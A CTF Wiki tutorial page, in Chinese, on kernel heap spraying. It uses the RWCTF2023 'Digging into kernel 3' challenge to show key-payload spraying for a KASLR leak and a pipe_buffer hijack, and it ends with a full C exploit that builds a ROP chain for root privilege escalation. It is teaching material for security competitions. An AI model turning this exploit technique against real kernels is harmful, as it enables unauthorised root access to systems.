CTF Wiki
  • 简介
  • 如何使用 CTF Wiki
  • introduction
    • CTF 历史
    • CTF 竞赛模式简介
    • CTF 竞赛内容
    • 线下攻防经验小结
    • CGC 超级挑战赛
    • 学习资源
  • misc
    • 杂项简介
    • 取证隐写前置技术
    • 信息搜集技术
    • encode
      • 通信领域常用编码
      • 计算机相关的编码
      • 现实世界中常用的编码
    • picture
      • 图片分析简介
      • JPG
      • PNG
      • GIF
    • audio
      • 音频隐写
    • archive
      • RAR 格式
      • ZIP 格式
    • traffic
      • 流量包分析简介
      • 协议分析概述
        • Wireshark
        • DNS
        • HTTP
        • HTTPS
        • FTP
        • USB
        • WIFI
      • 数据提取
      • PCAP 文件修复
    • disk-memory
      • 磁盘内存分析
      • 题目
    • shellcode
    • other
      • pyc
  • web
    • Web 简介
    • XSS
    • php
      • PHP 代码审计
    • SQL 注入
      • sqlmap绕过脚本
      • 各版本数据库语句备忘
    • CSRF
    • SSRF
  • reverse
    • 软件逆向工程简介
    • identify-encode-encryption
      • 常见加密算法和编码识别
    • language
      • 简介
      • go
        • Golang 逆向入门
      • python
        • Python 逆向入门
      • rust
        • Rust 逆向入门
    • maze
      • 迷宫问题
    • obfuscate
      • 控制流平坦化
      • 花指令
      • movofuscator
      • Self-Modified Code
    • vm
      • 虚拟机分析
    • platform
      • linux
        • Detecting Breakpoints
        • Detecting debugging
        • False Disassembly
        • LD_PRELOAD
      • windows
        • anti-debug
          • CheckRemoteDebuggerPresent
          • 反调试技术例题
          • Heap Flags
          • Interrupt 3
          • IsDebuggerPresent
          • 花指令
          • NtGlobalFlag
          • NtQueryInformationProcess
          • The Heap
          • Thread Local Storage(TLS)
          • ZwSetInformationThread
        • unpack
          • 一步到达 OEP 法
          • ESP 定律法
          • DUMP 及 IAT 重建
          • 最后一次异常法
          • 手动查找 IAT 并使用 ImportREC 重建
          • 内存镜像法
          • 保护壳简介
          • SFX 法
          • 单步跟踪法
          • DLL 文件脱壳
    • tools
      • constraint
        • z3
      • debug
        • gdb
        • ollydbg
        • windbg
        • x64dbg/x32dbg
      • simulate-execution
        • angr
        • Unicorn Engine
      • static-analyze
        • dnspy
        • Ghidra
        • IDA Pro
        • jadx
  • crypto
    • 密码学简介
    • asymmetric
      • 介绍
      • discrete-log
        • 离散对数
        • ECC
        • ElGamal
      • knapsack
        • 背包加密
      • lattice
        • CVP
        • 基本介绍
        • 格基规约算法
        • 格概述
      • rsa
        • RSA 选择明密文攻击
        • RSA 复杂题目
        • Coppersmith 相关攻击
        • 公钥指数相关攻击
        • 模数相关攻击
        • Bleichenbacher's attack
        • RSA 侧信道攻击
        • RSA 介绍
        • d_attacks
          • 私钥 d 相关攻击
          • 扩展维纳攻击
    • attack-summary
      • 简介
      • 比特攻击
      • 中间相遇攻击 - MITM
    • basic
      • 基础数学知识
    • blockcipher
      • AES
      • ARX: Add-Rotate-Xor
      • DES
      • IDEA
      • 块加密
      • Simon and Speck Block Ciphers
      • mode
        • CBC
        • CFB
        • CTR
        • ECB
        • 分组模式
        • OFB
        • Padding Oracle Attack
        • 填充方式
        • PCBC
    • certificate
      • 证书格式
    • classical
      • 古典密码简介
      • 单表代换加密
      • 其它类型加密
      • 多表代换加密
      • 总结
    • hash
      • Hash Attack
      • 综合题目
      • Fowler–Noll–Vo hash function
      • 哈希函数
      • MD5
      • SHA1
    • signature
      • DSA
      • ElGamal
      • 数字签名
      • RSA 数字签名
    • streamcipher
      • 流密码
      • fsr
        • 反馈移位寄存器
        • 线性反馈移位寄存器 - LFSR
        • 非线性反馈移位寄存器
      • lcg
        • 题目
        • 线性同余生成器
      • prng
        • 密码安全伪随机数生成器
        • 伪随机数生成器介绍
        • 题目
      • special
        • RC4
  • pwn
    • MacOS
    • misc-os
    • 概述
      • stackoverflow
        • 执行 Shellcode
        • 栈介绍
        • 栈溢出原理
    • browser
      • Chrome
      • Firefox
      • Safari
    • hardware
      • 简介
        • side-channel
          • prefetch side-channel attack
      • trusted-computing
        • 可信执行环境
    • linux
      • kernel-mode
        • 基础知识
        • Introduction
          • DoS
          • Information Disclosure
          • Introduction
            • Change Others
            • Change Self
        • Introduction
          • Introduction
            • 信息泄漏
            • Misc
          • Introduction
            • Kernel Stack Canary
          • Introduction
            • inner-kernel
              • 内部隔离
            • Introduction
              • KPTI - Kernel Page Table Isolation
              • 用户代码不可执行
              • 用户数据不可访问
          • Introduction
            • FGKASLR
            • KASLR
        • Introduction
          • 编译内核驱动
          • 内核下载与编译
          • Qemu 模拟环境
          • Real Device
        • exploitation
          • heap
            • 内核堆概述
            • buddy
              • Cross-Cache Overflow & Page-level Heap Fengshui
              • Page-level UAF
            • slub
              • freelist 劫持
              • Heap Spray
              • kernel UAF
          • race
            • Double Fetch
            • userfaultfd 的使用
          • rop
            • bypass-smep
            • ret2dir
            • 利用 pt_regs 构造通用内核 ROP
            • ret2usr(已过时)
            • Kernel ROP
          • tricks
            • 在内存中直接搜索 flag
      • user-mode
        • environment
        • fmtstr
          • 检测
          • 例子
          • 利用
          • 原理介绍
        • integeroverflow
          • 整数溢出
        • io-file
          • glibc 2.24下 IO_FILE 的利用
          • 伪造vtable劫持程序流程
          • FSOP
          • FILE结构
        • mitigation
          • Canary
        • race-condition
          • introduction
          • 题目
        • summary
          • 获取地址
          • shell 获取小结
          • 控制程序执行流
        • Type Confusion
        • Uninitialized Memory
        • heap
          • mallocng
          • ptmalloc2
            • Chunk Extend and Overlapping
            • Fastbin Attack
            • 堆概述
            • 堆相关数据结构
            • 堆溢出
            • House Of Einherjar
            • House Of Force
            • House of Lore
            • House of Orange
            • House of Pig
            • House of Rabbit
            • House of Roman
            • 堆利用
            • Large Bin Attack
            • 通过堆进行信息泄漏
            • 堆中的 Off-By-One
            • 堆中的检查
            • tcache makes heap exploitation easy again
            • Unlink
            • Unsorted Bin Attack
            • Use After Free
            • implementation
              • 基础操作
              • 释放内存块
              • 堆初始化
              • malloc_state 相关函数
              • 申请内存块
              • 测试支持
              • 深入理解堆的实现
              • tcache
        • stackoverflow
          • arm
            • 环境搭建
            • Arm ROP
          • mips
            • mips - ROP
          • RISC-V
          • x86
            • 基本 ROP
            • 花式栈溢出技巧
            • 中级ROP
            • 栈介绍
            • 栈溢出原理
            • advanced-rop
              • 高级 ROP
              • ret2dlresolve
              • ret2VDSO
              • SROP
    • sandbox
      • Chroot
      • Docker
      • Namespace
      • python
        • Python 沙盒
      • seccomp
        • C 沙盒逃逸
      • Shell Sandbox
    • virtualization
      • basic-knowledge
        • 虚拟化技术简介
        • CPU 虚拟化
        • IO 虚拟化
        • 内存虚拟化
      • parallels
        • Parallels
      • VirtualBox
      • VMWare
      • qemu
        • basic-knowledge
          • QEMU 设备模拟
          • QEMU 内存管理
        • environment
          • 编写 QEMU 模拟设备
          • QEMU 下载与编译
        • exploitation
          • QEMU 逃逸入门
          • 越界读写
  • Android 安全
    • basic_develop
      • Android 开发基础
    • Android 应用运行机制简述
      • Android 中 Java 层的运行机制
        • dex
          • DEX文件
          • ODEX文件
        • smali
          • Smali
      • native_layer
        • so 介绍
    • basic_reverse
      • Android 关键代码定位
      • Android 逆向基本介绍
      • dynamic
        • Android 动态调试
        • IDA 动态调试原生层程序
        • IDA 动态调试 smali 代码
      • static
        • 静态分析综合题目
        • 静态分析 java 层例子
        • 静态分析原生层程序
  • blockchain
    • Blockchain Security Challenges
    • Blockchain Security Overview
    • ethereum
      • Ethereum Basics
      • Ethereum Overview
      • Ethereum Opcodes
      • 学习资源
      • Smart Contract Reverse
      • Function Selector and Argument Encoding
      • Ethereum Storage
      • attacks
        • Airdrop Hunting
        • Arbitrary Writing
        • CREATE2
        • Delegatecall
        • Introduction
        • Jump Oriented Programming
        • Integer Overflow and Underflow
        • Randomness
        • Re-Entrancy
        • Short Address Attack
        • Uninitialized Storage Pointer
    • publicblockchain
      • Public Blockchain Security Overview
      • Blockchain Weaknesses
  • assembly
    • ARM
    • MIPS
    • x86_x64
  • executable
    • elf
      • 程序加载
      • 程序执行流程
      • linking
        • 程序链接
        • Symbol Reslove
      • structure
        • ELF 文件
        • Code Section
        • Data Related Sections
        • Dynamic Sections
        • Misc Sections
        • Sections
        • String Sections
        • .symtab: Symbol Table
    • pe
      • PE 文件格式
      • 导出表
      • 导入表
      • 基址重定位表
  • ics
    • ICS_CTF 竞赛
    • ICS_CTF 发现
    • ICS_CTF 利用
    • ICS_CTF 学习资源
  • contribute
    • 贡献之前
    • 基本贡献方式
    • 贡献文档要求
    • 翻译
  • write up
    • 浙江工业大学CTF赛事
      • 2023第四届“安恒杯”CTF新生赛题解
Powered by GitBook
On this page
  • 例题:RWCTF2023体验赛 - Digging into kernel 3
  • 题目分析
  • 漏洞利用
  • EXPLOIT
  1. pwn
  2. linux
  3. kernel-mode
  4. exploitation
  5. heap
  6. slub

Heap Spray

堆喷射(heap spraying)指的是一种辅助攻击手法:「通过大量分配相同的结构体来达成某种特定的内存布局,从而帮助攻击者完成后续的利用过程」,常见于如下场景:

  • 你有一个 UAF,但是你无法通过少量内存分配拿到该结构体(例如该 object 不属于当前 freelist 且释放后会回到 node 上,或是像 add_key() 那样会被一直卡在第一个临时结构体上),这时你可以通过堆喷射来确保拿到该 object。

  • 你有一个堆溢出读/写,但是堆布局对你而言是不可知的(比如说开启了 SLAB_FREELIST_RANDOM(默认开启)),你可以预先喷射大量特定结构体,从而保证对其中某个结构体的溢出。

  • ......

作为一种辅助的攻击手法,堆喷射可以被应用在多种场景下。

例题:RWCTF2023体验赛 - Digging into kernel 3

本篇为了介绍堆喷射这一手法,同时为了使用更多不同的结构体,笔者会用比较复杂的思路去解题。

题目分析

按惯例查看启动脚本,发现开启了 SMEP、SMAP、KASLR、KPTI:

#!/bin/sh

qemu-system-x86_64 \
	-m 128M \
	-nographic \
	-kernel ./bzImage \
	-initrd ./rootfs.img \
	-enable-kvm \
	-cpu kvm64,+smap,+smep \
	-monitor /dev/null \
	-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
	-no-reboot \
	-snapshot \
	-s

文件系统里给了一个 rwctf.ko ,拖入 IDA 进行分析,发现只定义了一个 ioctl,提供了两个功能:

  • 0xDEADBEEF:分配一个任意大小的 object 并能写入数据,分配 flag 为 __GFP_ZERO | GFP_KERNEL,不过我们只能同时有两个 object。

  • 0xC0DECAFE:释放一个之前分配的 object ,存在 UAF。

我们需要传入如下结构体:

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

经过笔者测试,出题人手动关闭了如下默认开启的保护(出题人为了降低题目难度,可能关的更多,笔者只测了这几个):

  • 关闭了 CONFIG_MEMCG_KMEM,这使得GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 会从同样的 kmalloc-xx 中进行分配

  • 关闭了 CONFIG_RANDOMIZE_KSTACK_OFFSET,这使得固定函数调用到内核栈底的偏移值是不变的

  • 关闭了 SLAB_FREELIST_HARDENED,这使得 freelist 几乎没有任何保护,我们可以轻易完成任意地址分配 + 任意地址读写

不过在笔者看来 出题人其实没有必要自降难度 ,下面笔者将给出在这三种保护开启时也能完成利用的方法 :)

漏洞利用

Step.I - 堆喷 user_key_payload 越界读泄露内核基地址

在内核当中存在一个用于密钥管理的子系统,内核提供了 add_key() 系统调用进行密钥的创建,并提供了 keyctl() 系统调用进行密钥的读取、更新、销毁等功能:

        #include <sys/types.h>
        #include <keyutils.h>

        key_serial_t add_key(const char *type, const char *description,
                                    const void *payload, size_t plen,
                                    key_serial_t keyring);
//...
       #include <asm/unistd.h>
       #include <linux/keyctl.h>
       #include <unistd.h>

       long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2,
                    __kernel_ulong_t arg3, __kernel_ulong_t arg4,
                    __kernel_ulong_t arg5);

当我们调用 add_key() 分配一个带有 description 字符串的、类型为 "user" 的、长度为 plen 的内容为 payload 的密钥时,内核会经历如下过程:

  • 首先会在内核空间中分配 obj 1 与 obj2,分配 flag 为 GFP_KERNEL,用以保存 description (字符串,最大大小为 4096)、payload (普通数据,大小无限制)

  • 分配 obj3 保存 description ,分配 obj4 保存 payload,分配 flag 皆为 GFP_KERNEL

  • 释放 obj1 与 obj2,返回密钥 id

其中 obj4 为一个 user_key_payload 结构体,定义如下:

struct user_key_payload {
	struct rcu_head	rcu;		/* RCU destructor */
	unsigned short	datalen;	/* length of this data */
	char		data[] __aligned(__alignof__(u64)); /* actual data */
};

//...

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

类似于 msg_msg,user_key_payload 结构体有着一个固定大小的头部,其余空间用来存储来自用户空间的数据(密钥内容)。

keyctl() 系统调用为我们提供了读取、更新(分配新对象,释放旧对象)、销毁密钥(释放 payload)的功能,其中读取的最大长度由 user_key_payload->datalen 决定,我们不难想到的是我们可以利用题目提供的 UAF 将user_key_payload->datalen 改大,从而完成越界读。

注意以下两点:

  • 这里我们的 description 字符串需要和 payload 有着不同的长度,从而简化利用模型。

  • 读取 key 时的 len 应当不小于 user_key_payload->datalen,否则会读取失败。

但是这里有一个问题:add_key() 会先分配一个临时的 obj1 拷贝 payload 后再分配一个 obj2 作为 user_key_payload,若我们先分配一个 obj 并释放后再调用 add_key() 则该 obj 不会直接成为 user_key_payload ,而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在。

但我们可以通过堆喷将 UAF obj 分配到 user_key_payload,考虑如下流程:

  • 利用题目功能构建 UAF object。

  • 堆喷射 user_key_payload ,UAF obj 作为拷贝 payload 的临时 obj 存在。

  • kmem_cache_cpu 的 slub page 耗光,向 node 请求新的 slub page 分配 user_key_payload ,完成后 UAF obj 被释放并回到 kmem_cache_node。

  • 继续堆喷 user_key_payload ,kmem_cache_cpu 的 slub page 耗光,向 node 请求新的 slub page 分配 user_key_payload 。

  • UAF obj 所在页面被取回,UAF obj 被分配为 user_key_payload 。

  • 利用题目功能再次释放 UAF obj,利用题目功能进行堆喷获取到该 obj,从而覆写 user_key_payload 。

注:官方题解中进行地址泄露也是利用类似的做法。

不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放,之后再在 obj2 上弄 UAF 就行了:) 这里采用这种做法只是为了介绍 heap spraying 这一手法。

笔者将在 Step.II 中使用这种方法。

接下来我们考虑越界读取什么数据,这里我们并不需要分配其他的结构体, rcu_head->func 函数指针在 rcu 对象被释放后才会被写入并调用,但调用完并不会将其置为 NULL,因此我们可以通过释放密钥的方式在内核堆上留下内核函数指针,从而完成内核基址的泄露。

Step.II - UAF 泄露可控堆对象地址,篡改 pipe_buffer 劫持控制流

可以用来控制内核执行流的结构体有很多,但是我们需要考虑如何完整地执行 commit_creds(prepare_kernel_cred(NULL)) 后再成功返回用户态,因此我们需要进行栈迁移以布置较为完整的 ROP gadget chain。

由于题目开启了 SMEP、SMAP 保护,因此我们只能在内核空间伪造函数表,同时内核中的大部分结构体的函数表为静态指定(例如 tty->ops 总是 ptm(或pty)_unix98_ops),因此我们还需要知道一个内容可控的内核对象的地址,从而在内核空间中伪造函数表。

这里笔者选择管道相关的结构体完成利用;在内核中,管道本质上是创建了一个虚拟的 inode 来表示的,对应的就是一个 pipe_inode_info 结构体:

struct pipe_inode_info {
	struct mutex mutex;
	wait_queue_head_t rd_wait, wr_wait;
	unsigned int head;
	unsigned int tail;
	unsigned int max_usage;
	unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
	bool note_loss;
#endif
	unsigned int nr_accounted;
	unsigned int readers;
	unsigned int writers;
	unsigned int files;
	unsigned int r_counter;
	unsigned int w_counter;
	struct page *tmp_page;
	struct fasync_struct *fasync_readers;
	struct fasync_struct *fasync_writers;
	struct pipe_buffer *bufs;
	struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
	struct watch_queue *watch_queue;
#endif
};

同时内核中会分配一个 pipe_buffer 结构体数组,每个 pipe_buffer 结构体对应一张用以存储数据的内存页:

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

pipe_buf_operations 为一张函数表,当我们对管道进行特定操作时内核便会调用该表上对应的函数,例如当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针,由此我们便能控制内核执行流,从而完成提权。

struct pipe_buf_operations {
	//...

	/*
	 * When the contents of this pipe buffer has been completely
	 * consumed by a reader, ->release() is called.
	 */
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

那么这里我们可以利用 UAF 使得 user_key_payload 与 pipe_inode_info 占据同一个 object, pipe_inode_info 刚好会将 user_key_payload->datalen 改为 0xFFFF 使得我们能够继续读取数据,从而读取 pipe_inode_info 以泄露出 pipe_buffer 的地址。

而 pipe_buffer 是动态分配的,因此我们可以利用题目功能预先分配一个对象作为 pipe_buffer 并直接在其上伪造函数表即可。

对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。

EXPLOIT

最后的 exp 如下:

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>
#include "kernelpwn.h"

/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
#define KEY_SPRAY_NUM 40

#define PIPE_INODE_INFO_SZ 192
#define PIPE_BUFFER_SZ 1024

#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
#define PREPARE_KERNEL_CRED 0xffffffff81096110
#define COMMIT_CREDS 0xffffffff81095c30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0

#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70

int dev_fd;

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

/**
 * @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
 * __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM 
 * GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
 * 
 * @param idx 
 * @param size 
 * @param buf 
 */
void alloc(uint32_t idx, uint32_t size, void *buf)
{
    struct node n = {
        .idx = idx,
        .size = size,
        .buf = buf,
    };

    ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
    struct node n = {
        .idx = idx,
    };

    ioctl(dev_fd, 0xC0DECAFE, &n);
}

int main(int argc, char **argv, char **envp)
{
    size_t *buf, pipe_buffer_addr;
    int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
    char desciption[0x100];
    int pipe_fd[2];
    int retval;

    /* fundamental works */
    bindCore(0);
    saveStatus();

    buf = malloc(sizeof(size_t) * 0x4000);

    dev_fd = open("/dev/rwctf", O_RDONLY);
    if (dev_fd < 0) {
        errExit("FAILED to open the /dev/rwctf file!");
    }

    /* construct UAF on user_key_payload */
    puts("[*] construct UAF obj and spray keys...");
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    del(0);

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        snprintf(desciption, 0x100, "%s%d", "arttnba", i);
        key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
        if (key_id[i] < 0) {
            printf("[x] failed to alloc %d key!\n", i);
            errExit("FAILED to add_key()!");
        }
    }

    del(0);

    /* corrupt user_key_payload's header */
    puts("[*] corrupting user_key_payload...");

    buf[0] = 0;
    buf[1] = 0;
    buf[2] = 0x2000;

    for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
        alloc(0, PIPE_INODE_INFO_SZ, buf);
    }

    /* check for oob-read and leak kernel base */
    puts("[*] try to make an OOB-read...");

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
            printf("[+] found victim key at idx: %d\n", i);
            victim_key_idx = i;
        } else {
            key_revoke(key_id[i]);
        }
    }

    if (victim_key_idx == -1) {
        errExit("FAILED at corrupt user_key_payload!");
    }

    kernel_offset = -1;
    for (int i = 0; i < 0x2000 / 8; i++) {
        if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
            kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
            kernel_base += kernel_offset;
            break;
        }
    }

    if (kernel_offset == -1) {
        errExit("FAILED to leak kernel addr!");
    }

    printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
    printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);

    /* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
    puts("[*] construct UAF on pipe_inode_info...");

    /* 0->1->..., the 1 will be the payload object */
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    alloc(1, PIPE_INODE_INFO_SZ, buf);
    del(1);
    del(0);

    pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
    del(1);

    /* this object is for the pipe buffer */
    alloc(0, PIPE_BUFFER_SZ, buf);
    del(0);

    pipe(pipe_fd);

    /* note that the user_key_payload->datalen is 0xFFFF now */
    retval = key_read(pipe_key_id, buf, 0xffff);
    pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
    printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n", 
            pipe_buffer_addr);

    /* construct fake pipe_buf_operations */
    memset(buf, 'A', sizeof(buf));

    buf[0] = *(size_t*) "arttnba3";
    buf[1] = *(size_t*) "arttnba3";
    buf[2] = pipe_buffer_addr + 0x18;  /* pipe_buffer->ops */
    /* after release(), we got back here */
    buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
    /* pipe_buf_operations->release */
    buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
    buf[5] = *(size_t*) "arttnba3";
    buf[6] = *(size_t*) "arttnba3";
    buf[7] = kernel_offset + POP_RDI_RET;
    buf[8] = NULL;
    buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
    buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
    buf[11] = kernel_offset + COMMIT_CREDS;
    buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
    buf[13] = *(size_t*) "arttnba3";
    buf[14] = *(size_t*) "arttnba3";
    buf[15] = getRootShell;
    buf[16] = user_cs;
    buf[17] = user_rflags;
    buf[18] = user_sp + 8; /* system() wants it : ( */
    buf[19] = user_ss;

    del(0);
    alloc(0, PIPE_BUFFER_SZ, buf);

    /* trigger pipe_buf_operations->release */
    puts("[*] trigerring pipe_buf_operations->release()...");

    close(pipe_fd[1]);
    close(pipe_fd[0]);

    return 0;
}
Previousfreelist 劫持Nextkernel UAF

Last updated 1 year ago

既然题目中已经直接白给出了一个无限制的 UAF,那么利用方式就是多种多样的了,这里笔者选择使用 来完成利用。

user_key_payload
image.png